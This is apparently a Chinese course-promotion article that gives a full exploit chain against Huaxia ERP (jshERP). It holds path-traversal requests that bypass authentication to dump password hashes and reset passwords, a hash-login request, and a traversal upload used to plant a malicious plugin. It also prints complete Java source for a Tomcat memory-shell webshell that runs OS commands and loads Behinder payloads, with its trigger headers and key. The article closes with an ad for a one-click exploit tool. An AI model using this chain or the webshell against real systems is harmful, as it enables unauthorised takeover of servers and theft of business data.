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前言
华夏ERP全版本未授权RCE及内存马注入。本文来自 《实战攻防》课程开源应用渗透利用篇 。作者： xiuxian
点击下文了解详情👇
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权限绕过
目前最新版V3.3
1GET/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
通过getAllList读取用户名，密码MD5值。
Hash登录
使用读取得密码MD5值登录超级管理员后台。
1POST /jshERP-boot/user/login HTTP/1.1 2Host: IP 3Content-Length: 67 4Accept: application/json, text/plain, */* 5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 6Content-Type: application/json;charset=UTF-8 7Origin: http://172.20.10.3:3000 8Referer: http://172.20.10.3:3000/user/login 9Accept-Encoding: gzip, deflate 10Accept-Language: zh-CN,zh;q=0.9 11Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837 12Connection: close 13 14 15{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
权限绕过重置用户密码
1/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd 2 3 4{"id":63}
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后台利用
超级管理员用户登陆后使用uploadPluginConfigFile接口创建../plugin目录，此目录创建后可部署插件。
1POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1 2Host: 172.20.10.3:3000 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 4Accept: */* 5Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6Accept-Encoding: gzip, deflate 7X-Requested-With: XMLHttpRequest 8Content-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473 9X-Access-Token: 90777cf909864636a458b05de1eab2a9_0 10Content-Length: 247 11 12 13 14 15-----------------------------64343665641219398361207370473 16Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt" 17Content-Type: text/plain 18 19 20success 21 22 23-----------------------------64343665641219398361207370473--
后台上传插件
编写springboot-plugin-framework-parent插件。
1https://gitee.com/xiongyi01/springboot-plugin-framework-parent
内存马注入利用
编写冰蝎监听器，部署插件注入内存马。
1package ysoserial.payloads.templates;
2
3
4import com.sun.jmx.mbeanserver.NamedObject;
5import com.sun.jmx.mbeanserver.Repository;
6import com.sun.org.apache.xalan.internal.xsltc.DOM;
7import com.sun.org.apache.xalan.internal.xsltc.TransletException;
8import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
9import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
10import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
11import org.apache.catalina.connector.Request;
12import org.apache.catalina.connector.RequestFacade;
13import org.apache.catalina.connector.Response;
14import org.apache.catalina.core.StandardContext;
15import org.apache.tomcat.util.modeler.Registry;
16
17
18import javax.crypto.Cipher;
19import javax.crypto.spec.SecretKeySpec;
20import javax.management.DynamicMBean;
21import javax.management.MBeanServer;
22import javax.management.ObjectName;
23import javax.servlet.ServletRequestEvent;
24import javax.servlet.ServletRequestListener;
25import javax.servlet.http.HttpSession;
26import java.lang.reflect.Field;
27import java.lang.reflect.Method;
28import java.util.HashMap;
29import java.util.Scanner;
30import java.util.Set;
31
32
33public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
34 static {
35 try {
36 MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
37 Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
38 field.setAccessible(true);
39 Object obj = field.get(mbeanServer);
40
41
42 field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
43 field.setAccessible(true);
44 Repository repository = (Repository) field.get(obj);
45
46
47 Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
48 if (objectSet.size() == 0) {
49 // springboot的jmx中为Tomcat而非Catalina
50 objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
51 }
52
53
54 for (NamedObject namedObject : objectSet) {
55 DynamicMBean dynamicMBean = namedObject.getObject();
56 field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
57 field.setAccessible(true);
58 obj = field.get(dynamicMBean);
59
60
61 field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
62 field.setAccessible(true);
63 StandardContext standardContext = (StandardContext) field.get(obj);
64
65
66 TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
67 standardContext.addApplicationEventListener(listener);
68 }
69 } catch (Exception e) {
70// e.printStackTrace();
71 }
72 }
73
74
75 @Override
76 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
77
78
79 }
80
81
82 @Override
83 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
84
85
86 }
87
88
89 @Override
90 public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
91
92
93 }
94
95
96 @Override
97 public void requestInitialized(ServletRequestEvent servletRequestEvent) {
98// Listener马没有包装类问题
99 try {
100 RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
101 Field f = requestFacade.getClass().getDeclaredField("request");
102 f.setAccessible(true);
103 Request request = (Request) f.get(requestFacade);
104 Response response = request.getResponse();
105 // 入口
106 if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
107 // cmdshell
108 if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
109 String cmd = request.getHeader("cmd");
110 if (cmd != null && !cmd.isEmpty()) {
111 String[] cmds = null;
112 if (System.getProperty("os.name").toLowerCase().contains("win")) {
113 cmds = new String[]{"cmd", "/c", cmd};
114 } else {
115 cmds = new String[]{"/bin/bash", "-c", cmd};
116 }
117 String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
118 response.resetBuffer();
119 response.getWriter().println(result);
120 response.flushBuffer();
121 response.finishResponse();
122 }
123 } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
124 if (request.getMethod().equals("POST")) {
125 // 创建pageContext
126 HashMap pageContext = new HashMap();
127
128
129 // lastRequest的session是没有被包装的session!!
130 HttpSession session = request.getSession();
131 pageContext.put("request", request);
132 pageContext.put("response", response);
133 pageContext.put("session", session);
134 // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
135 String payload = request.getReader().readLine();
136
137
138// System.out.println(payload);
139 // 冰蝎逻辑
140 String k = "e45e329feb5d925b"; // rebeyond
141 session.putValue("u", k);
142 Cipher c = Cipher.getInstance("AES");
143 c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
144 Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
145 method.setAccessible(true);
146 byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
147 Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
148 evilclass.newInstance().equals(pageContext);
149 }
150 } else {
151 response.resetBuffer();
152 response.getWriter().println("error");
153 response.flushBuffer();
154 response.finishResponse();
155 }
156 }
157 } catch (Exception e) {
158// e.printStackTrace();
159 }
160 }
161}
插件启动，new一个冰蝎监听马。
上传插件连接内存马
1密码：rebeyond 2 3 4Referer: https://www.google.com/ 5x-client-data: rebeyond
华夏ERP漏洞利用一键化工具-实战攻防课程内部专版，报名课程免费获取
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往期精彩
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攻防渗透&&《黑神话·悟空》\*2份，速来抽奖！](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247508235&idx=1&sn=5043590d457c5ec778258499582ca04d&chksm=c09ad25bf7ed5b4d12bcd6e140d6a2ef8147894a95d6e3dd0ae6e3c9cfe35dff3925b912b8f2&scene=21#wechat_redirect)
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